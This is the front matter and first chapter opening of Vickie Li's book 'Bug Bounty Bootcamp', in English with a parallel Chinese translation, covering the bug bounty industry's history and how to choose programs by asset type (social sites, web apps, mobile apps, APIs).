Bug Bounty Bootcamp

The Guide to Finding and Reporting Web Vulnerabilities

Vickie Li

薇琪李

Bug Bounty Bootcamp. Copyright © 2021 by Vickie Li.

漏洞赏金營地。版权所有 © 2021 Vickie Li。

All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher.

版权所有。未经版权所有者和出版者事先书面许可，任何形式或方式的复制或传播本作品均被禁止，包括但不限于电子或机械形式、复印、录制或任何信息存储或检索系统。

ISBN-13: 978-1-7185-0154-6 (print)
ISBN-13: 978-1-7185-0155-3 (ebook)

ISBN-13: 978-1-7185-0154-6（印刷版）ISBN-13: 978-1-7185-0155-3（电子版）

Publisher: William Pollock
Production Manager: Rachel Monaghan
Production Editors: Miles Bond and Dapinder Dosanjh
Developmental Editor: Frances Saux
Cover Design: Rick Reese
Interior Design: Octopod Studios
Technical Reviewer: Aaron Guzman
Copyeditor: Sharon Wilkey
Compositor: Jeff Lytle, Happenstance Type-O-Rama
Proofreader: James Fraleigh

出版者：威廉·波洛克制作经理：瑞秋·莫纳汉制作编辑：迈尔斯·邦德和达平德·多桑吉开发编辑：弗朗西斯·索克斯封面设计：瑞克·里斯内部设计：八爪鱼工作室技术审核者：阿龙·古兹曼校对员：沙龙·威尔基排版人员：杰夫·莱特尔，偶然类型大杂烩校对员：詹姆斯·弗雷利

For information on book distributors or translations, please contact No Starch Press, Inc. directly:
No Starch Press, Inc.
245 8th Street, San Francisco, CA 94103
phone: 1-415-863-9900; info@nostarch.com
www.nostarch.com

有关图书分销商或翻译的信息，请直接联系No Starch Press, Inc.：No Starch Press, Inc.245 8th Street，旧金山，CA 94103电话：1-415-863-9900；info@nostarch.comwww.nostarch.com

Names: Li, Vickie, author.
Title: Bug bounty bootcamp : the guide to finding and reporting web
vulnerabilities / Vickie Li.
Description: San Francisco : No Starch Press, [2021] | Includes index. |
Identifiers: LCCN 2021023153 (print) | LCCN 2021023154 (ebook) | ISBN
9781718501546 (print) | ISBN 9781718501553 (ebook)
Subjects: LCSH: Web sites--Security measures. | Penetration testing
(Computer security) | Debugging in computer science.
Classification: LCC TK5105.8855 .L523 2021 (print) | LCC TK5105.8855
(ebook) | DDC 025.042--dc23
LC record available at https://lccn.loc.gov/2021023153
LC ebook record available at https://lccn.loc.gov/2021023154

姓名：李，薇琪，作者。题目：漏洞赏金训练营: 发现和报告网站漏洞的指南 / 薇琪李。描叙：旧金山: 无淀粉出版社，[2021] | 包括索引。| 标识符: LCCN 2021023153 (print) | LCCN 2021023154 (ebook) | ISBN 9781718501546 (print) | ISBN 9781718501553 (ebook) 主题：LCSH: 网站-安全措施。|穿透测试(计算机安全)|计算机科学中的除错。分类: LCC TK5105.8855 .L523 2021 (print) | LCC TK5105.8855 (ebook) | DDC 025.042--dc23 LC 记录可在 https://lccn.loc.gov/2021023153LC ebook 记录可在 https://lccn.loc.gov/2021023154。

No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark.

No Starch Press和No Starch Press标识是No Starch Press公司的注册商标。此处提及的其他产品和公司名称可能为其各自所有者的商标。我们没有在每个商标名称出现时使用商标符号，而是仅以编辑方式使用这些名称，以造福商标所有者，无意侵犯商标权。

The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.

本书中的信息是按“原样”分发的，没有任何保证。在书写这本书的过程中，我们采取了谨慎的措施，但无论是作者还是No Starch Press, Inc.，对于任何因所包含的信息直接或间接造成的任何损失或损害，不承担任何责任。

About the Author

Vickie Li is a developer and security researcher experienced in finding and exploiting vulnerabilities in web applications. She has reported vulnerabilities to firms such as Facebook, Yelp, and Starbucks and contributes to a number of online training programs and technical blogs. She can be found at https://vickieli.dev/ , where she blogs about security news, techniques, and her latest bug bounty findings.

Vickie Li是一名开发人员和安全研究员，擅长在Web应用程序中发现和利用漏洞。她向Facebook、Yelp和Starbucks等公司报告了漏洞，并为许多在线培训计划和技术博客做出了贡献。她的网站是https://vickieli.dev/，在那里她博客聚焦于安全新闻、技术以及她最新的漏洞赏金发现。

About the Tech Reviewer

Aaron Guzman is co-author of IoT Penetration Testing Cookbook and product security lead with Cisco Meraki. He spends his days building security into IoT products and crafting designs that keep users safe from compromise. A co-chair of Cloud Security Alliance’s IoT Working Group and a technical reviewer for several published security books, he also spearheads many open-source initiatives, raising awareness about IoT hacking and proactive defensive strategies under OWASP’s IoT and Embedded Application Security projects. He has extensive public speaking experience, delivering conference presentations, training, and workshops globally. Follow Aaron on Twitter @scriptingxss .

阿龙·古兹曼（Aaron Guzman）是IoT渗透测试食谱的合著者，也是思科Meraki的产品安全负责人。他每天都在将安全性融入IoT产品中，并设计能够保护用户免受妥协的方案。他是云安全联盟（Cloud Security Alliance）IoT工作组的联席主席，也是几本发表的安全书籍的技术审阅人员，他还领导许多开源倡议，提高人们对OWASP IoT和嵌入式应用安全项目下的IoT黑客和积极防御策略的认识。他有丰富的公开演讲经验，在全球范围内提供会议演讲、培训和工作坊。请在Twitter上关注阿龙@scriptingxss。

Foreword

Twenty or even ten years ago, hackers like me were arrested for trying to do good. Today, we are being hired by some of the world’s most powerful organizations.

如今，我们这样的黑客被世界上一些最有权力的组织雇用；而在二十年甚至十年前，我们试图做好事还会被逮捕。

If you’re still considering whether or not you are late to the bug bounty train, know that you’re coming aboard at one of the most exciting times in the industry’s history. This community is growing faster than ever before, as governments are beginning to require that companies host vulnerability disclosure programs, Fortune 500 companies are building such policies in droves, and the applications for hacker-powered security are expanding every day. The value of a human eye will forever be vital in defending against evolving threats, and the world is recognizing us as the people to provide it.

如果你仍在考虑是否已经错过了漏洞赏金的列车，那么你要知道的是，你正在一个行业历史上最激动人心的时期加入进来。这个社区正在以前所未有的速度增长，随着政府开始要求公司建立漏洞披露计划，财富500强公司正在纷纷制定这样的政策，而基于黑客的安全应用场景也在不断扩大。人眼的价值将永远在防御不断演变的威胁中起着至关重要的作用，世界正在认识到我们是提供这种服务的人。

The beautiful thing about the bug bounty world is that, unlike your typical nine-to-five job or consultancy gig, it allows you to participate from wherever you want, whenever you want, and on whatever type of asset you like! All you need is a decent internet connection, a nice coffee (or your choice of beverage), some curiosity, and a passion for breaking things. And not only does it give you the freedom to work on your own schedule, but the threats are evolving faster than the speed of innovation, providing ample opportunities to learn, build your skills, and become an expert in a new area.

漏洞赏金的美妙之处在于，与你通常的九点到五点的工作或咨询差异较大，它让你在任何你想要的时间、任何你想参加的资产上参与其中！你只需要一个良好的互联网连接、一杯美味的咖啡（或你选择的饮料）、一些好奇心和对挑战的激情。不仅给你自由的工作时间表，而且威胁的演变速度比创新的速度更快，为学习、提高技能和成为新领域专家提供了丰富的机会。

If you are interested in gaining real-world hacking experience, the bug bounty marketplace makes that possible by providing an endless number of targets owned by giant companies such as Facebook, Google, or Apple! I’m not saying that it is an easy task to find a vulnerability in these companies; nevertheless, bug bounty programs deliver the platform on which to hunt, and the bug bounty community pushes you to learn more about new vulnerability types, grow your skill set, and keep trying even when it gets tough. Unlike most labs and Capture the Flags (CTFs), bug bounty programs do not have solutions or a guaranteed vulnerability to exploit. Instead, you’ll always ask yourself whether or not some feature is vulnerable, or if it can force the application or its functionalities to do things it’s not supposed to. This uncertainty can be daunting, but it makes the thrill of finding a bug so much sweeter.

如果你对获取真实的黑客经验感兴趣，那么漏洞赏金市场提供了一个无数的目标，这些目标是由像 Facebook、Google 或 Apple 这样的大公司所拥有的！我并不是说在这些公司中找到漏洞是一件容易的事情，然而，漏洞赏金计划提供了一个寻找漏洞的平台，漏洞赏金社区会推动你学习更多的新漏洞类型，增强你的技能，即使遇到困难也要继续尝试。与大多数实验室和 Capture the Flags (CTFs) 不同，漏洞赏金计划没有解决方案或保证可利用的漏洞。相反，你总是会问自己是否某个功能存在漏洞，或者它是否可以迫使应用程序或其功能执行不应该执行的操作。这种不确定性可能令人望而却步，但是它使发现漏洞的乐趣倍感甜蜜。

In this book, Vickie explores a variety of different vulnerability types to advance your understanding of web application hacking. She covers the skills that will make you a successful bug bounty hunter, including step-by-step analyses on how to pick the right program for you, perform proper reconnaissance, and write strong reports. She provides explanations for attacks like cross-site scripting, SQL injection, template injection, and almost any other you need in your toolkit to be successful. Later on, she takes you beyond the basics of web applications and introduces topics such as code review, API hacking, automating your workflow, and fuzzing.

在这本书中，维基探讨了各种不同的漏洞类型，以提高您对网络应用程序攻击的理解。她涵盖了会使您成为一个成功的漏洞赏金猎人所需的技能，包括逐步分析如何选择适合您的程序、进行适当的侦查和撰写强有力的报告。她解释了像跨站脚本、SQL注入、模板注入等攻击，以及您需要的几乎任何其他攻击来让您成功。随后，她将带领您超越Web应用程序的基础知识，介绍代码审查、API攻击、自动化工作流程和模糊测试等主题。

For anyone willing to put in the work, Bug Bounty Bootcamp gives you the foundation you need to make it in bug bounties.

对于任何愿意付出努力的人来说，漏洞赏金训练营为您提供了在漏洞赏金中取得成功所需的基础。

—Ben Sadeghipour

-本·萨德吉普尔

Hacker, Content Creator, and
Head of Hacker Education at HackerOne

黑客、内容创作者、HackerOne黑客教育主管

Introduction

I still remember the first time I found a high-impact vulnerability. I had already located a few low-impact bugs in the application I was testing, including a CSRF, an IDOR, and a few information leaks. Eventually, I managed to chain these into a full takeover of any account on the website: I could have logged in as anyone, read anyone’s data, and altered it however I wanted. For an instant, I felt like I had superpowers.

我仍然记得第一次发现高影响漏洞的时候。在我测试的应用程序中，我已经找到了几个低影响的漏洞，包括CSRF、IDOR和一些信息泄漏。最终，我成功地将它们链接在一起，完全接管了网站上的任何帐户：我可以像任何人一样登录、阅读任何人的数据并随心所欲地更改它。一瞬间，我觉得自己拥有了超能力。

I reported the issue to the company, which promptly fixed the vulnerability. Hackers are probably the closest thing to superheroes I’ve encountered in the real world. They overcome limitations with their skills to make software programs do much more than they were designed for, which is what I love about hacking web applications: it’s all about thinking creatively, challenging yourself, and doing more than what seems possible.

我已向公司报告此问题，公司迅速修复了漏洞。黑客可能是我在现实世界中遇到的最接近超级英雄的人。他们凭借自己的技能克服限制，使软件程序做到比设计更多的事情，这就是我喜欢黑客攻击网站应用程序的原因：这一切都是关于创造性思维，挑战自我，做出超越可能的事情。

Also like superheroes, ethical hackers help keep society safe. Thousands of data breaches happen every year in the United States alone. By understanding vulnerabilities and how they happen, you can use your knowledge for good to help prevent malicious attacks, protect applications and users, and make the internet a safer place.

与超级英雄一样，道德黑客有助于保护社会的安全。仅在美国每年就发生数千起数据泄漏事件。通过了解漏洞和其发生原因，您可以将自己的知识用于预防恶意攻击、保护应用程序和用户，使互联网成为更安全的地方。

Not too long ago, hacking and experimenting with web applications were illegal. But now, thanks to bug bounty programs, you can hack legally; companies set up bug bounty programs to reward security researchers for finding vulnerabilities in their applications. Bug Bounty Bootcamp teaches you how to hack web applications and how to do it legally by participating in these programs. You’ll learn how to navigate bug bounty programs, perform reconnaissance on a target, and identify and exploit vulnerabilities.

不久之前，黑客和对Web应用程序进行实验都是非法的。但现在，归功于漏洞赏金计划，您可以合法地进行黑客攻击；公司设立漏洞赏金计划来奖励安全研究人员在其应用程序中发现漏洞。漏洞赏金训练营教您如何黑入Web应用程序，并通过参加这些计划合法地进行黑客攻击。您将学习如何使用漏洞赏金计划，对目标进行侦察，并识别和利用漏洞。

Who This Book Is For

This book will help anyone learn web hacking and bug bounty hunting from scratch. You might be a student looking to get into web security, a web developer who wants to understand the security of a website, or an experienced hacker who wants to understand how to attack web applications. If you are curious about web hacking and web security, this book is for you.

这本书将帮助任何人从零开始学习网络黑客和漏洞赏金猎人。你可能是一名想要进入网络安全领域的学生，一名想要了解一个网站安全性的网站开发者，或者一个有经验的黑客想要了解如何攻击Web应用程序。如果你对网络黑客和网络安全感到好奇，这本书适合你。

No technical background is needed to understand and master the material of this book. However, you will find it useful to understand basic programming.

阅读本书无需有技术背景。不过，如果您了解基本的编程，将对掌握本书材料有所帮助。

Although this book was written with beginners in mind, advanced hackers may also find it to be a useful reference. In particular, I discuss advanced exploitation techniques and useful tips and tricks I’ve learned along the way.

尽管本书是针对初学者编写的，但高级黑客也可能会发现它是一本有用的参考书。特别是在讨论高级利用技术和我在学习过程中学到的有用技巧和窍门方面。

What Is In This Book

Bug Bounty Bootcamp covers everything you need to start hacking web applications and participating in bug bounty programs. This book is broken into four parts: The Industry, Getting Started, Web Vulnerabilities, and Expert Techniques.

漏洞赏金训练营覆盖了你开始黑客攻击Web应用程序和参加漏洞赏金计划所需的一切。本书分为四个部分：行业、入门、Web漏洞和专家技巧。

Part I: The Industry

第一部分：行业

The first part of the book focuses on the bug bounty industry. Chapter 1: Picking a Bug Bounty Program explains the various types of bug bounty programs and how to choose one that suits your interests and experience level. Chapter 2: Sustaining Your Success teaches you the nontechnical skills you need to succeed in the bug bounty industry, like writing a good report, building professional relationships, and dealing with conflict and frustration.

Part II: Getting Started

第二部分：入门指南

The second part of the book prepares you for web hacking and introduces you to the basic technologies and tools you’ll need to successfully hunt for bugs.

Chapter 3: How the Internet Works explains the basics of internet technologies. It also introduces the internet security mechanisms you will encounter, such as session management, token-based authentication, and the same-origin policy.

第三章，“互联网的工作原理”解释了互联网技术的基础知识。它还介绍了您将遇到的互联网安全机制，例如会话管理、基于令牌的身份验证和同源策略。

Chapter 4: Environmental Setup and Traffic Interception shows you how to set up your hacking environment, configure Burp Suite, and effectively utilize Burp Suite’s various modules to intercept traffic and hunt for bugs.

第4章：环境设置和流量拦截向您展示如何设置您的黑客环境，配置Burp Suite，并有效地利用Burp Suite的各个模块拦截流量并寻找漏洞。

Chapter 5: Web Hacking Reconnaissance details the recon strategies you can take to gather information about a target. It also includes an introduction to bash scripting and shows you how to create an automated recon tool from scratch.

第5章：Web黑客侦察详细介绍了您可以采用的侦察策略，以收集有关目标的信息。它还包括对bash脚本的介绍，并向您展示如何从头开始创建自动化侦察工具。

Part III: Web Vulnerabilities

第三部分：网站漏洞

Then we start hacking! This part, the core of the book, dives into the details of specific vulnerabilities. Each chapter is dedicated to a vulnerability and explains what causes that vulnerability, how to prevent it, and how to find, exploit, and escalate it for maximum impact.

Chapters 6 through 18 discuss common vulnerabilities you are likely to encounter in real-life applications, including cross-site scripting (XSS), open redirects, clickjacking, cross-site request forgery (CSRF), insecure direct object references (IDOR), SQL injection, race conditions, server-side request forgery (SSRF), insecure deserialization, XML external entity vulnerabilities (XXE), template injection, application logic errors and broken access control, and remote code execution (RCE).

第6章到第18章讨论现实应用中可能会遇到的常见漏洞，包括跨站脚本(XSS)、开放式重定向、点击劫持、跨站请求伪造(CSRF)、不安全的直接对象引用(IDOR)、SQL注入、竞态条件、服务器端请求伪造(SSRF)、不安全的反序列化、XML外部实体漏洞(XXE)、模板注入、应用逻辑错误和破损的访问控制，以及远程代码执行(RCE)。

Chapter 19: Same-Origin Policy Vulnerabilities dives into a fundamental defense of the modern internet: the same-origin policy. You’ll learn about the mistakes developers make when building applications to work around the same-origin policy and how hackers can exploit these mistakes.

第19章：同源策略漏洞深入了解了现代互联网的一个基本防御：同源策略。您将会了解到开发人员在构建应用程序以规避同源策略时所犯的错误以及黑客如何利用这些错误。

Chapter 20: Single-Sign-On Security Issues discusses the most common ways applications implement single-sign-on features, the potential weaknesses of each method, and how you can exploit these weaknesses.

第20章：单点登录安全问题讨论了应用程序实现单点登录功能的最常见方法，每种方法的潜在弱点以及您如何利用这些弱点。

Finally, Chapter 21: Information Disclosure discusses several ways of extracting sensitive information from a web application.

最后，第21章：信息披露介绍了从Web应用程序中提取敏感信息的几种方法。

Part IV: Expert Techniques

第四部分：专家技巧

The final part of the book introduces in-depth techniques for the experienced hacker. This section will help you advance your skills once you understand the basics covered in Part III.

Chapter 22: Conducting Code Reviews teaches you how to identify vulnerabilities in source code. You will also get the chance to practice reviewing a few pieces of code.

第22章：进行代码审查教您如何识别源代码中的漏洞。您还将有机会练习审查一些代码。

Chapter 23: Hacking Android Apps teaches you how to set up your mobile hacking environment and find vulnerabilities in Android applications.

第23章：《Android应用程序黑客攻略》教您如何设置移动黑客环境并查找Android应用程序中的漏洞。

Chapter 24: API Hacking discusses application programming interfaces (APIs), an essential part of many modern applications. I discuss types of APIs and how to hunt for vulnerabilities that manifest in them.

第24章：API黑客讨论应用程序编程接口（APIs），是许多现代应用程序的重要组成部分。 我讨论了API的类型以及如何寻找在它们中表现出的漏洞。

Chapter 25: Automatic Vulnerability Discovery Using Fuzzers wraps up the book by showing you how to automatically hunt for vulnerabilities by using a method called fuzzing. You’ll practice fuzzing a web application with an open source fuzzer.

第25章：使用模糊测试自动发现漏洞是本书的收尾之笔，会向您展示如何使用一种称为模糊测试的方法自动寻找漏洞。您将使用一个开源模糊测试工具来练习模糊测试一个Web应用程序。

Happy Hacking!

Bug Bounty Bootcamp is not simply a book about bug bounties. It is a manual for aspiring hackers, penetration testers, and people who are curious about how security works on the internet. In the following chapters, you will learn how attackers exploit common programming mistakes to achieve malicious goals and how you can help companies by ethically reporting these vulnerabilities to their bug bounty programs. Remember to wield this power responsibly! The information in this book should be used strictly for legal purposes. Attack only systems you have permission to hack and always exercise caution when doing so. Happy hacking!

《漏洞赏金特训营》不仅仅是一本关于漏洞赏金的书。它是一本面向渴望成为黑客、渗透测试者或对网络安全有兴趣的人们的指南。在接下来的章节中，您将学习攻击者如何利用常见的编程错误来达到恶意目的，以及您如何通过合法地向公司报告这些漏洞来帮助它们的漏洞赏金计划。请务必谨慎行使此权力！本书中的信息应严格用于法律目的。只攻击您被授权攻击的系统，并在执行此操作时始终保持警惕。祝您愉快的黑客攻击！

Part I
The Industry

1
Picking a Bug Bounty Program

Bug bounty programs: are they all the same? Finding the right program to target is the first step to becoming a successful bug bounty hunter. Many programs have emerged within the past few years, and it’s difficult to figure out which ones will provide the best monetary rewards, experience, and learning opportunities.

漏洞赏金计划：它们都一样吗？找到适合的计划是成为成功的漏洞赏金猎人的第一步。在过去的几年里出现了许多计划，很难确定哪些计划会提供最好的货币奖励、经验和学习机会。

A bug bounty program is an initiative in which a company invites hackers to attack its products and service offerings. But how should you pick a program? And how should you prioritize their different metrics, such as the asset types involved, whether the program is hosted on a platform, whether it’s public or private, the program’s scope, the payout amounts, and response times?

一个漏洞赏金计划是一项倡议，其中公司邀请黑客攻击其产品和服务提供。但你应该如何选择一个计划？如何优先考虑不同的指标，例如涉及的资产类型，计划是否托管在平台上，计划是公开还是私人的，计划的范围，支付额度和响应时间？

In this chapter, we’ll explore types of bug bounty programs, analyze the benefits and drawbacks of each, and figure out which one you should go for.

在本章中，我们将探讨不同类型的漏洞赏金计划，分析它们的优点和缺点，并确定你应该选择哪一种。

The State of the Industry

Bug bounties are currently one of the most popular ways for organizations to receive feedback about security bugs. Large corporations, like PayPal and Facebook, as well as government agencies like the US Department of Defense, have all embraced the idea. Yet not too long ago, reporting a vulnerability to a company would have more likely landed you in jail than gotten you a reward.

“漏洞赏金目前是企业收到安全漏洞反馈的最流行方式之一。像PayPal和Facebook这样的大公司，以及美国国防部这样的政府机构都拥抱了这个想法。但是不久以前，向公司报告漏洞可能更有可能让你进监狱而不是得到奖励。”

In 1995, Netscape launched the first-ever bug bounty program. The company encouraged users to report bugs found in its brand-new browser, the Netscape Navigator 2.0, introducing the idea of crowdsourced security testing to the internet world. Mozilla launched the next corporate bug bounty program nine years later, in 2004, inviting users to identify bugs in the Firefox browser.

1995年，Netscape推出了首个赏金计划。该公司鼓励用户报告发现的漏洞，这些漏洞存在于其全新的浏览器—Netscape Navigator 2.0 中。介绍众包安全测试的概念，成为了互联网世界的一股清流。而Mozilla公司则于9年后（即2004年）推出了下一个公司赏金计划，邀请用户鉴定Firefox浏览器中的漏洞。

But it was not until the 2010s that offering bug bounties become a popular practice. That year, Google launched its program, and Facebook followed suit in 2011. These two programs kick-started the trend of using bug bounties to augment a corporation’s in-house security infrastructure.

但直到2010年代，提供漏洞赏金成为一种流行的做法。那一年，谷歌启动了它的计划，Facebook在2011年也效仿了这种做法。这两个计划开启了利用漏洞赏金来增强公司内部安全基础设施的趋势。

As bug bounties became a more well-known strategy, bug-bounty-as-a-service platforms emerged. These platforms help companies set up and operate their programs. For example, they provide a place for companies to host their programs, a way to process reward payments, and a centralized place to communicate with bug bounty hunters.

随着漏洞赏金成为更为流行的策略，漏洞赏金作为服务的平台出现了。这些平台帮助公司建立和运营其程序。例如，他们提供公司托管其程序的地方，处理奖励付款的方式以及与漏洞赏金猎人进行集中交流的中心化平台。

The two largest of these platforms, HackerOne and Bugcrowd, both launched in 2012. After that, a few more platforms, such as Synack, Cobalt, and Intigriti, came to the market. These platforms and managed bug bounty services allow even companies with limited resources to run a security program. Today, large corporations, small startups, nonprofits, and government agencies alike have adopted bug bounties as an additional security measure and a fundamental piece of their security policies. You can read more about the history of bug bounty programs at https://en.wikipedia.org/wiki/Bug_bounty_program .

其中最大的两个平台是HackerOne和Bugcrowd，它们都在2012年推出。此后，还有一些平台，如Synack、Cobalt和Intigriti，进入了市场。这些平台和托管漏洞赏金服务，使得即使是资源有限的公司也能够运营安全计划。今天，大型企业、小型初创企业、非营利组织和政府机构都采用漏洞赏金作为额外的安全措施和安全策略的基本组成部分。您可以在https://en.wikipedia.org/wiki/Bug_bounty_program上了解更多关于漏洞赏金计划的历史。

The term security program usually refers to information security policies, procedures, guidelines, and standards in the larger information security industry. In this book, I use program or bug bounty program to refer to a company’s bug bounty operations. Today, tons of programs exist, all with their unique characteristics, benefits, and drawbacks. Let’s examine these.

安全计划一般指更广泛的信息安全行业中的信息安全政策、程序、指南和标准。在本书中，我用“计划”或“赏金计划”来指代公司的赏金计划操作。目前有很多这样的计划，每个计划都有其独特的特点、好处和缺陷。让我们来看看这些内容。

Asset Types

In the context of a bug bounty program, an asset is an application, website, or product that you can hack. There are different types of assets, each with its own characteristics, requirements, and pros and cons. After considering these differences, you should choose a program with assets that play to your strengths, based on your skill set, experience level, and preferences.

在漏洞赏金计划的背景下，资产是指您可以攻击的应用程序、网站或产品。有不同类型的资产，每种都有其自身的特点、要求和优缺点。在考虑这些差异之后，您应该选择一个拥有能够发挥您优势的资产的计划，基于您的技能水平、经验水平和个人偏好。

Social Sites and Applications

Anything labeled social has a lot of potential for vulnerabilities, because these applications tend to be complex and involve a lot of interaction among users, and between the user and the server. That’s why the first type of bug bounty program we’ll talk about targets social websites and applications. The term social application refers to any site that allows users to interact with each other. Many programs belong to this category: examples include the bug bounty program for HackerOne and programs for Facebook, Twitter, GitHub, and LINE.

任何标记为社交的应用程序都有很多潜在漏洞，因为这些应用程序往往很复杂，并涉及用户之间以及用户与服务器之间的大量交互。这就是为什么我们要谈论的第一类漏洞赏金计划针对社交网站和应用程序。社交应用程序一词指的是任何允许用户相互交互的网站。许多计划属于此类别：例如HackerOne的漏洞赏金计划以及Facebook，Twitter，GitHub和LINE的计划。

Social applications need to manage interactions among users, as well as each user’s roles, privileges, and account integrity. They are typically full of potential for critical web vulnerabilities such as insecure direct object references (IDORs), info leaks, and account takeovers. These vulnerabilities occur when many users are on a platform, and when applications mismanage user information; when the application does not validate a user’s identity properly, malicious users can assume the identity of others.

社交应用需要管理用户间的交互，以及每个用户的角色、权限和账户完整性。它们通常充满了严重网络漏洞的潜力，例如不安全的直接对象引用(IDORs)，信息泄漏和帐户控制。当许多用户在平台上时，这些漏洞就会发生，当应用程序处理用户信息不当时，当应用程序未正确验证用户身份时，恶意用户可以冒充他人的身份。

These complex applications also often provide a lot of user input opportunities. If input validation is not performed properly, these applications are prone to injection bugs, like SQL injection (SQLi) or cross-site scripting (XSS).

这些复杂的应用程序通常提供了许多用户输入的机会。如果输入验证不正确，这些应用程序就容易出现注入漏洞，如SQL注入（SQLi）或跨站点脚本（XSS）。

If you are a newcomer to bug bounties, I recommend that you start with social sites. The large number of social applications nowadays means that if you target social sites, you’ll have many programs to choose from. Also, the complex nature of social sites means that you’ll encounter a vast attack surface with which to experiment. (An application’s attack surface refers to all of the application’s different points that an attacker can attempt to exploit.) Finally, the diverse range of vulnerabilities that show up on these sites means that you will be able to quickly build a deep knowledge of web security.

如果你是bug赏金的新手，我建议你从社交网站开始。现今社交应用的数量庞大，如果你攻击社交网站，就会有许多项目可供选择。此外，社交网站的复杂性意味着你将遇到广泛的攻击面供你进行实验。（应用程序的攻击面是指攻击者可以尝试利用的应用程序中的所有不同点。）最后，这些网站上出现的各种漏洞的多样性意味着你将能够快速建立对Web安全的深入了解。

The skill set you need to hack social programs includes the ability to use a proxy, like the Burp Suite proxy introduced in Chapter 4 , and knowledge about web vulnerabilities such as XSS and IDOR. You can learn more about these in Chapters 6 and 10 . It’s also helpful to have some JavaScript programming skills and knowledge about web development. However, these skills aren’t required to succeed as a hacker.

黑客社交计划所需要的技能包括使用代理器，例如第4章介绍的Burp Suite代理器，以及关于Web漏洞（如XSS和IDOR）的知识。你可以在第6章和第10章了解更多。具备一些JavaScript编程技能和Web开发知识也会很有帮助。然而，这些技能并不是成为黑客所必需的。

But these programs have a major downside. Because of the popularity of their products and the low barrier of entry, they’re often very competitive and have many hackers hunting on them. Social media platforms such as Facebook and Twitter are some of the most targeted programs.

但是这些程序有一个主要的缺点。由于他们的产品受到欢迎并且准入门槛较低，他们通常非常有竞争力，并且有许多黑客在追捕他们。像Facebook和Twitter这样的社交媒体平台是一些最受攻击的程序。

General Web Applications

General web applications are also a good target for beginners. Here, I am referring to any web applications that do not involve user-to-user interaction. Instead, users interact with the server to access the application’s features. Targets that fall into these categories can include static websites, cloud applications, consumer services like banking sites, and web portals of Internet of Things (IoT) devices or other connected hardware. Like social sites, they are also quite diverse and lend themselves well to a variety of skill levels. Examples include the programs for Google, the US Department of Defense, and Credit Karma.

一般的网站应用也是初学者的好目标。这里，我指的是不涉及用户之间互动的任何网站应用。相反，用户与服务器进行交互以访问应用程序的功能。这些目标可以包括静态网站、云应用程序、诸如银行网站的消费者服务以及物联网设备或其他连接硬件的Web门户。就像社交网站一样，它们也相当多样化，适合各种技能水平。例如谷歌、美国国防部和信用卡业务。

That said, in my experience, they tend to be a little more difficult to hack than social applications, and their attack surface is smaller. If you’re looking for account takeovers and info leak vulnerabilities, you won’t have as much luck because there aren’t a lot of opportunities for users to interact with others and potentially steal their information. The types of bugs that you’ll find in these applications are slightly different. You’ll need to look for server-side vulnerabilities and vulnerabilities specific to the application’s technology stack. You could also look for commonly found network vulnerabilities, like subdomain takeovers. This means you’ll have to know about both client-side and server-side web vulnerabilities, and you should have the ability to use a proxy. It’s also helpful to have some knowledge about web development and programming.

在我的经验中，相对于社交应用，它们更难被黑客攻击，攻击面也更小。如果你想寻找账户被接管和信息泄漏的漏洞，可能会没有那么多机会，因为用户与其他人互动的机会并不多，也不太可能被窃取信息。你能在这些应用中找到的漏洞类型稍有不同。你需要寻找服务器端漏洞和与应用技术栈相关的漏洞。你也可以寻找常见的网络漏洞，比如子域名接管。这意味着你需要了解客户端和服务器端的Web漏洞，并应该具备使用代理的能力。对Web开发和编程有一些了解也会很有帮助。

These programs can range in popularity. However, most of them have a low barrier of entry, so you can most likely get started hacking right away!

这些程序的受欢迎程度可能不同。然而，它们大多数都有低门槛，所以你很有可能可以立即开始黑客攻击！

Mobile Applications (Android, iOS, and Windows)

After you get the hang of hacking web applications, you may choose to specialize in mobile applications . Mobile programs are becoming prevalent; after all, most web apps have a mobile equivalent nowadays. They include programs for Facebook Messenger, the Twitter app, the LINE mobile app, the Yelp app, and the Gmail app.

当您熟悉了如何攻击Web应用程序后，可以选择专攻移动应用程序。移动应用程序越来越普及；毕竟，现在大多数Web应用程序都有移动等价物。它们包括Facebook Messenger、Twitter应用程序、LINE移动应用程序、Yelp应用程序和Gmail应用程序等程序。

Hacking mobile applications requires the skill set you’ve built from hacking web applications, as well as additional knowledge about the structure of mobile apps and programming techniques related to the platform. You should understand attacks and analysis strategies like certificate pinning bypass, mobile reverse engineering, and cryptography.

黑掉移动应用程序需要你在黑掉网页应用程序中所建立的技能组合，加上对于移动应用的结构和与该平台相关的编程技巧的额外知识。你应该了解攻击和分析策略，例如证书固定绕过、移动应用逆向工程和密码学。

Hacking mobile applications also requires a little more setup than hacking web applications, as you’ll need to own a mobile device that you can experiment on. A good mobile testing lab consists of a regular device, a rooted device, and device emulators for both Android and iOS. A rooted device is one for which you have admin privileges. It will allow you to experiment more freely, because you can bypass the mobile system’s safety constraints. An emulator is a virtual simulation of mobile environments that you run on your computer. It allows you to run multiple device versions and operating systems without owning a device for each setup.

黑客攻击移动应用程序需要比攻击网页应用程序多一点设置，因为您需要拥有一台可以进行实验的移动设备。一个好的移动测试实验室包括普通设备、已Root过的设备以及Android和iOS的设备仿真器。已Root过的设备是您拥有管理员权限的设备，它将允许您更自由地进行实验，因为您可以绕过移动系统的安全限制。仿真器是您在计算机上运行的移动环境的虚拟模拟。它允许您运行多个设备版本和操作系统，而无需为每个设置拥有一个设备。

For these reasons, mobile applications are less popular among bug bounty hunters than web applications. However, the higher barrier of entry for mobile programs is an advantage for those who do participate. These programs are less competitive, making it relatively easy to find bugs.

因此，移动应用程序比起网站应用程序，对于漏洞赏金猎人而言不太受欢迎。然而，移动程序的入门门槛较高对于参与者是一种优势。这类程序竞争较少，相对更容易发现漏洞。

APIs

Application programming interfaces ( APIs ) are specifications that define how other applications can interact with an organization’s assets, such as to retrieve or alter their data. For example, another application might be able to retrieve an application’s data via HyperText Transfer Protocol (HTTP) messages to a certain endpoint, and the application will return data in the format of Extensible Markup Language (XML) or JavaScript Object Notation (JSON) messages.

